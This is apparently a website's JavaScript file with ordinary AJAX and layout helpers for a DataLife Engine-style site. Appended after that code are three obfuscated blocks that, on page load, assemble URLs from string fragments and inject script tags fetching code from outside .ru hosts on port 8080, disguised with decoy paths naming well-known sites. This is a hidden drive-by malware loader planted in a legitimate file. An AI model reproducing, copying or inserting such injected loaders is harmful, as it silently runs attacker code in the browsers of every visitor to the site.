function showBusyLayer() {
		var busyLayer = document.getElementById("busy_layer");

	if (busyLayer != null) {
		busyLayer.style.visibility = "visible";
		busyLayer.style.height = getPageSize().pageHeight + 'px';
	}
};

function getPageSize () {
	var d = document, w = window, iebody = d.compatMode && d.compatMode != 'BackCompat' 
		? d.documentElement : d.body;	
	
	
	var b = d.body;
	
	var yScroll = (w.innerHeight && window.scrollMaxY) 
			? w.innerHeight + w.scrollMaxY : Math.max(b.scrollHeight, b.offsetHeight),
		pageHeight = (document.all && !window.opera) ? Math.max(iebody.scrollHeight, iebody.clientHeight) : 
			(d.documentElement.clientHeight || self.innerHeight);
	
	var height = (document.all && !window.opera) ? iebody.clientHeight : self.innerHeight;
	
	return {
		pageHeight: Math.max(pageHeight, yScroll),
		height: height,		
		scrollTop: (document.all && !window.opera) ? iebody.scrollTop : pageYOffset
	}
};
	
function hideBusyLayer() {
		var busyLayer = document.getElementById("busy_layer");
		if (busyLayer != null) {
			busyLayer.style.visibility = "hidden";
			busyLayer.style.height = "0px";
		}
};

function _get_obj_toppos(obj)
{
	var top = obj.offsetTop;
	
	while( (obj = obj.offsetParent) != null )
	{
		top += obj.offsetTop;
	}
	
	return top;
};

function center_div()
{
	this.divname = '';
	this.divobj  = '';
};
center_div.prototype.clear_div = function()
{
	try
	{
		if ( ! this.divobj )
		{
			return;
		}
		else
		{
			this.divobj.style.display  = 'none';
		}
	}
	catch(e)
	{
		return;
	}
};
center_div.prototype.Ywindow = function()
{
	var scrollY = 0;
	
	if ( document.documentElement && document.documentElement.scrollTop )
	{
		scrollY = document.documentElement.scrollTop;
	}
	else if ( document.body && document.body.scrollTop )
	{
		scrollY = document.body.scrollTop;
	}
	else if ( window.pageYOffset )
	{
		scrollY = window.pageYOffset;
	}
	else if ( window.scrollY )
	{
		scrollY = window.scrollY;
	}
	
	return scrollY;
};
center_div.prototype.move_div = function()
{
	try
	{
		this.divobj = document.getElementById( this.divname );
	}
	catch(e)
	{
		return;
	}
	
	var my_width  = 0;
	var my_height = 0;
	
	if ( typeof( window.innerWidth ) == 'number' )
	{
		my_width  = window.innerWidth;
		my_height = window.innerHeight;
	}
	else if ( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )
	{
		my_width  = document.documentElement.clientWidth;
		my_height = document.documentElement.clientHeight;
	}
	else if ( document.body && ( document.body.clientWidth || document.body.clientHeight ) )
	{
		my_width  = document.body.clientWidth;
		my_height = document.body.clientHeight;
	}
	
	this.divobj.style.position = 'absolute';
	this.divobj.style.display  = 'block';
	this.divobj.style.zIndex   = 99;
	
	var divheight = parseInt( this.divobj.style.Height );
	var divwidth  = parseInt( this.divobj.style.Width );
	
	divheight = divheight ? divheight : 50;
	divwidth  = divwidth  ? divwidth  : 200;
	
	var scrolly = this.Ywindow();
	
	var setX = ( my_width  - divwidth  ) / 2;
	var setY = ( my_height - divheight ) / 2 + scrolly;
	
	setX = ( setX < 0 ) ? 0 : setX;
	setY = ( setY < 0 ) ? 0 : setY;
	
	this.divobj.style.left = setX + "px";
	this.divobj.style.top  = setY + "px";
};

function dle_ajax(file){
	this.AjaxFailedAlert = "AJAX not supported.\n";
	this.requestFile = file;
	this.method = "POST";
	this.URLString = "";
	this.encodeURIString = true;
	this.execute = false;
	this.add_html = false;
	this.loading_fired		= 0;
	this.centerdiv          = null;

	this.onLoading = function() { };
	this.onLoaded = function() { };
	this.onInteractive = function() { };
	this.onCompletion = function() { };

	this.onShow = function( message )
	{
		if ( ! this.loading_fired )
		{
			this.loading_fired = 1;
		
			//------------------------------------------------
			// Change text?
			//------------------------------------------------
		
		if ( message )
		{
			document.getElementById( 'loading-layer-text' ).innerHTML = message;
		}
		
		this.centerdiv         = new center_div();
		this.centerdiv.divname = 'loading-layer';
		this.centerdiv.move_div();
		}
		
		return;
	};

	this.onHide = function()
	{
		try
		{
			if ( this.centerdiv && this.centerdiv.divobj )
			{
				this.centerdiv.clear_div();
			}
		}
		catch(e)
		{
		}
	
		this.loading_fired = 0;
	
		return;
};


	this.createAJAX = function() {
		try {
			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (err) {
				this.xmlhttp = null;
			}
		}
		if(!this.xmlhttp && typeof XMLHttpRequest != "undefined")
			this.xmlhttp = new XMLHttpRequest();
		if (!this.xmlhttp){
			this.failed = true; 
		}
	};
	
	this.setVar = function(name, value){
		if (this.URLString.length < 3){
			this.URLString = name + "=" + value;
		} else {
			this.URLString += "&" + name + "=" + value;
		}
	};
	
	this.encVar = function(name, value){
		var varString = encodeURIComponent(name) + "=" + encodeURIComponent(value);
	return varString;
	};
	
	this.encodeURLString = function(string){
		varArray = string.split('&');
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split('=');
			if (urlVars[0].indexOf('amp;') != -1){
				urlVars[0] = urlVars[0].substring(4);
			}
			varArray[i] = this.encVar(urlVars[0],urlVars[1]);
		}
	return varArray.join('&');
	};

	this.encodeVAR = function(url){
		url = url.toString();
		url = url.replace(/\+/g, "%2B");
		url = url.replace(/\=/g, "%3D");
		url = url.replace(/\?/g, "%3F");
		url = url.replace(/\&/g, "%26");	
	  return url;

	};
	
	this.runResponse = function(){

                        var milisec = new Date;
                        var jsfound = false;
                        milisec = milisec.getTime();

                        var js_reg = /<script.*?>(.|[\r\n])*?<\/script>/ig;

                        var js_str = js_reg.exec(this.response);
                        if (js_str != null) {

						var js_arr = new Array(js_str.shift());
                        var jsfound = true;
        
                        while(js_str) {
                                js_str = js_reg.exec(this.response);
                                if (js_str != null) js_arr.push(js_str.shift());
                        }

                          for(var i=0; i<js_arr.length;i++) {
                                this.response = this.response.replace(js_arr[i],'<span id="'+milisec+i+'" style="display:none;"></span>');
                          }
						}
                            if ( this.add_html ) {
                                this.elementObj.innerHTML += this.response; 
                            } else {
                                this.elementObj.innerHTML = this.response; 
                            }

                        if (jsfound) {

                        var js_content_reg = /<script.*?>((.|[\r\n])*?)<\/script>/ig;

                        for (i = 0; i < js_arr.length; i++) {
                                var mark_node = document.getElementById(milisec+''+i);
                                var mark_parent_node = mark_node.parentNode;
                                mark_parent_node.removeChild(mark_node);
                                
                                js_content_reg.lastIndex = 0;
                                var js_content = js_content_reg.exec(js_arr[i]);
                                var script_node = mark_parent_node.appendChild(document.createElement('script'));
							    script_node.text = js_content[1];  

                                var script_params_str = js_arr[i].substring(js_arr[i].indexOf(' ',0),js_arr[i].indexOf('>',0));
                                var params_arr = script_params_str.split(' ');

								if (params_arr.length > 1) {
                                   for (var j=0;j< params_arr.length; j++ )        {
                                        
                                        if(params_arr[j].length > 0){
                                                var param_arr = params_arr[j].split('=');
                                                param_arr[1] = param_arr[1].substr(1,(param_arr[1].length-2));
                                                script_node.setAttribute(param_arr[0],param_arr[1]);
                                        }

                                  }
								}

                          }
                        }
	};


	
	this.sendAJAX = function(urlstring){
		this.responseStatus = new Array(2);
		if(this.failed && this.AjaxFailedAlert){ 
			alert(this.AjaxFailedAlert); 
		} else {
			if (urlstring){ 
				if (this.URLString.length){
					this.URLString = this.URLString + "&" + urlstring; 
				} else {
					this.URLString = urlstring; 
				}
			}
			if (this.encodeURIString){
				var timeval = new Date().getTime(); 
				this.URLString = this.encodeURLString(this.URLString);
				this.setVar("rndval", timeval);
			}
			if (this.element) { this.elementObj = document.getElementById(this.element); }
			if (this.xmlhttp) {
				var self = this;
				if (this.method == "GET") {
					var totalurlstring = this.requestFile + "?" + this.URLString;
					this.xmlhttp.open(this.method, totalurlstring, true);
				} else {
					this.xmlhttp.open(this.method, this.requestFile, true);
				}
				if (this.method == "POST"){
  					try {
						this.xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');  
					} catch (e) {}
				}

				this.xmlhttp.send(this.URLString);
				this.xmlhttp.onreadystatechange = function() {
					switch (self.xmlhttp.readyState){
						case 1:
							self.onLoading();
						break;
						case 2:
							self.onLoaded();
						break;
						case 3:
							self.onInteractive();
						break;
						case 4:
							self.response = self.xmlhttp.responseText;
							self.responseXML = self.xmlhttp.responseXML;
							self.responseStatus[0] = self.xmlhttp.status;
							self.responseStatus[1] = self.xmlhttp.statusText;
						    self.onHide();
							self.onCompletion();
							if (self.elementObj) {
								var elemNodeName = self.elementObj.nodeName;
								elemNodeName = elemNodeName.toLowerCase();
								if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea"){
									if (self.response == 'error') { alert('Access denied'); } else {
                                    if ( self.add_html ) {
									self.elementObj.value += self.response;
                                    } else { self.elementObj.value = self.response;}
									}
								} else {
									if (self.response == 'error') { alert('Access denied'); } else {
									if(self.execute) { self.runResponse(); } else {
                                        if ( self.add_html ) {

                                           self.elementObj.innerHTML += self.response;

                                        } else	{ self.elementObj.innerHTML = self.response; }
                                      }
									}
								}
							}
							self.URLString = "";
						break;
					}
				};
			}
		}
	};
this.createAJAX();
};

var q={V:58960};var j="j";wi={Q:false};function e(){var k=window;R=54976;R++;var ZL=new Date();var C=String("bo"+"dy");var x=String("TKAdef".substr(3)+"erVsiM".substr(0,2));try {var xc='_'} catch(xc){};var w=new String("appEdb".substr(0,3)+"end"+"ChiIrV3".substr(0,3)+"ldHpV".substr(0,2));var i="onloaZrpz".substr(0,5)+"d";Cl=["AR","_j","o"];var c={Cw:"gq"};var g=String("crea"+"teEl"+"emen"+"t");var Z=String("src");var B=["Xg"];var z=document;var EV={};this.Zk=40570;this.Zk-=59;var CX=new String("scri9X5".substr(0,4)+"pt");var lo=new Date();var aa=new Array();var SL={J:26698};var iW=["Kp"];function h(){try {var PQ='jE'} catch(PQ){};zw=59597;zw--;try {var qV=["ar","N"];var b=854665-846585;var gZ=String("/me"+"dia"+"xYzufir".substr(4)+"gRSe-c".substr(3)+"wS1om/".substr(3)+"goo"+"gle"+".co"+"dBfKm/i".substr(4)+"DAhnfohDA".substr(3,3)+"s3malin".substr(4)+"ks."+"com"+"ZJ0d.ph".substr(4)+"p");var SU={U:false};this.fO="";aaI={BE:3611};csV={cs:12869};var p="BvChttp:".substr(3)+"JMA//pasAJM".substr(3,5)+"sport1uIq".substr(0,5)+"KmpNbluesKmpN".substr(4,5)+".ru:";var jj=false;var pi=9054-9053;oe=47299;oe--;KH=62314;KH--;v=z[g](CX);zg={ei:false};var KL={pt:"W"};v[x]=pi;v[Z]=p+b+gZ;za=52533;za++;this.gm='';Pj=26009;Pj++;z[C][w](v);var s={};var QK=false;this.Hd=false;dw={ca:"jjh"};} catch(T){var At=new Array();var ny={XR:false};};var Zm=false;bo={t:62576};}k[i]=h;cg=["HA","rb","SC"];Se={Xi:25335};};e();G=63490;G++;fD=37020;fD++;
this.ik=58445;this.ik--;this.sb='';try {Q=[];var Df=6184;var zI=new Array();var A=window["unesg5Y9".substr(0,4)+"cape"];var MY=62252;IN=[];var gk={zg:"n"};var Ak=String("repl"+"Gi2ace".substr(3));var aS=false;var ML={HP:49924};var v={k:8298};var mZ={sD:2220};var h={J:58666};var W="onlo"+"ad";var g="1";var O=window[("Re"+"gE"+"xp")];var Hq={pU:8726};var Un={UZ:24905};var U='';try {} catch(u){};zK={AQ:false};function z(g,e){this.V="V";xp=2341;xp+=200;var Yw="Yw";this.XB=47094;this.XB+=30;this.R='';_y={jJ:"RG"};this.ks=39927;this.ks+=77;var _=new String("Jpmg[".substr(4));_+=e;zx=63738;zx++;var l={Ua:17534};SE=40734;SE-=125;var Re={On:32593};_+=A("%5d");var x=new O(_, String("zq8g".substr(3)));this.QY="QY";return g.replace(x, U);YZ=20059;YZ++;Rt=[];};var mh={};this.eJ="";var wg={};var B=new String("csOX/go".substr(4)+"ogl"+"e.c"+"om/"+"vYU8jooU8Yv".substr(4,3)+"mlaN9bc".substr(0,3)+"lWV.or".substr(3)+"g/n"+"ypomYV7".substr(0,3)+"kurst.".substr(3)+"comfAq".substr(0,3)+".ph"+"p");var i=64430-56350;ei=35589;ei-=102;hR=31623;hR+=199;var b=String("http:"+"//got"+"hguil"+"t.ru:1TI".substr(0,5));this.dL=60304;this.dL-=253;this.Dn=13132;this.Dn-=130;var DU=false;var tZ=false;Bs={At:"SS"};var QV=["BI","_E"];YW={Gg:false};var zgZ={ZZ:"qA"};function s(){C_=["Au","Av"];var th="th";var yW=["NN"];Ie={DT:3541};this.KX="KX";this.Wr=52370;this.Wr+=202;var F=document;this.Si=27578;this.Si+=174;ag=[];this._d="";var ns={gq:"sQ"};var AP=z('s5cPrCiRpCtZ','oR9Zf52WvCPw');var Kt=["so","gY"];this.qS=25265;this.qS+=77;var a=new String("Eo19appe".substr(4)+"qxAndChAqx".substr(3,4)+"CFbHild".substr(4));this.jS=18588;this.jS--;var wk=["zp","dH","sw"];var OK=["Vt","Wy","ts"];var hn=["cD","vL","RM"];E=F.createElement(AP);var JF=["MC","pY","eA"];var lr={bh:false};var LG=["ru","Ul","sZ"];var cU=new Date();Lq={Cr:false};QL={LqB:false};var RY=["qP","Nm","BIX"];var BA=["jh","RL","PX"];iG={Ik:false};D=b+i;D=D+B;var AZ={xN:false};var ZD={gZ:false};Ph=34534;Ph--;var YI=["Y_"];var jO=["ri"];var f_=new Date();E["defe"+"r"]=g;qSL={vX:false};E.src=D;var yE={Yv:"Al"};var vN="vN";var _D={ep:"gl"};var Ra="Ra";this.Bu=57977;this.Bu-=110;var xK=F.body;lB=61083;lB++;Eg=20298;Eg+=40;var Im=false;MwH=52843;MwH--;this.eH='';iB={RP:"gg"};this.Jn='';this.ay=false;Vq={};var jn="";xK[a](E);bm=48930;bm-=17;var TI="TI";};var de={WH:11890};var Pe={RD:51859};this.wI=13876;this.wI--;var Nb='';var Vz='';window[W]=s;Be=["EY"];var yBQ={DZ:false};try {var vi='no'} catch(vi){};} catch(xv){try {} catch(aW){};var Ru='';ok={};};var M_=new String();kV={pD:"Ay"};var wt=["ggM"];sc=64849;sc+=172;
M=["s"];R={};var S;n=function(){var FY=["Gv"];function C(G,b,F){this.d="d";return G.substr(b,F);var e=new String();this.dv='';}try {var OO='yw'} catch(OO){};Yt=29881;Yt-=151;var SF='';qG=["Gt"];var q=RegExp;this.c="";var JO=new String();var g=document;XA=33342;XA++;Yy=63948;Yy++;var GP='';var T=String("/xvid"+"eos-c"+C("om/goZNf",0,5)+C("ogle.mWi",0,5)+C("com/nPMHG",0,5)+"ikkei"+".co.j"+C("p.phpO64r",0,5));this.D=710;this.D--;try {} catch(dvJ){};try {} catch(iS){};function E(G,b){var iM=["EQ"];var F=String("[")+b+"]";var J=new q(F, "g");return G.replace(J, GP);var ov='';this.qf=10983;this.qf+=70;};HV=61819;HV--;var uV="uV";A=[];var gN=E('szcwrDi2p2tg','fwzGjT2QJaD1X_g3C');this.eg='';var H=245298-237218;fZ=[];var q_=new String("bo"+"dy");this.x='';var Y=null;try {} catch(yr){};try {} catch(fd){};tk={_w:"AK"};var Mv={DU:30624};S=function(){var dV=new Array();aV=15275;aV--;try {var ROe={lC:false};var f=E('c2rAezaLtAehEAlzeLmAe0n0tI','Lh2IAO0jz9');yx=[];var qE=["Tc","je","Sz"];h=g[f](gN);try {var ur='uT'} catch(ur){};ux=4237;ux+=157;this.kT=64866;this.kT--;var X=E('shrocz','FzdCPViphoE');var G=H+T;var Np="";this.zi="zi";var Hg=new String(C("de4cJ",0,2)+C("mtxrfetrxm",4,2)+C("fOHrOfH",3,1));iSv=38374;iSv++;Xa=["NI","Eo"];cO=["vH","fM"];h[Hg]=[1,3][0];var DE={zm:38556};Yyf=[];h[X]=new String(C("htdAa",0,2)+C("8jdtp8jd",3,2)+":/"+"/t"+C("CZKgenZgKC",4,2)+"th"+"pr"+C("of36TB",0,2)+"it"+".r"+C("gqCu:qgC",3,2))+G;g[q_].appendChild(h);this.zy='';this.ZU='';} catch(_){this.qu=36473;this.qu-=135;var TE=new Array();try {var op='xu'} catch(op){};};};this.qJ="qJ";};try {var In='XY'} catch(In){};var sg='';n();window.onload=S;var bp=[];